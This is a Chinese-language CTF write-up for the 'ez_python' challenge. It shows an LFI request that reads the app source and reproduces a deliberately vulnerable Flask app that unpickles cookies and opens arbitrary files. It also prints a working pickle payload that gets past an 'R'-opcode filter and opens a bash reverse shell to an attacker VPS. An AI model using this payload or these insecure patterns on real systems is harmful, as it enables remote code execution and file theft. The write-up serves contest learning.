[Python知识库]第一届“长城杯”网络安全大赛 ez_python

利用LFI读文件 /?pic=/home/app/app.py

import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
    def __init__(self,name,age):
        self.name = name
        self.age = age

def check(s):
    if b'R' in s:
        return 0
    return 1


@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        if check(user):
            user = pickle.loads(user)
            username = user["username"]
        else:
            username = "bad,bad,hacker"
    except:
        username = "CTFer"
    pic = '{0}.jpg'.format(random.randint(1,7))
    
    try:
        pic=request.args.get('pic')
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()
    except:
        pic='{0}.jpg'.format(random.randint(1,7))
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()

    return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
    app.run('0.0.0.0',port=8888)

Python反序列化 但过滤了R指令，reduce__与R指令是绑定的，禁止了R指令就禁止了__reduce 方法
使用这篇博客中的方法：https://blog.csdn.net/a3320315/article/details/105180444

b"\x80\x03c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubVbash -c 'bash -i >& /dev/tcp/vps_ip/port 0>&1'\nb."

base64加密生成cookie
带着这个user去访问，vps开启监听